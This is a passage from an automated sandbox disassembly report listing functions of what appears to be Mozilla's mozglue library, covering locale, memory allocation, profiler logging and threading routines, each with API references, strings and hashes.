?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

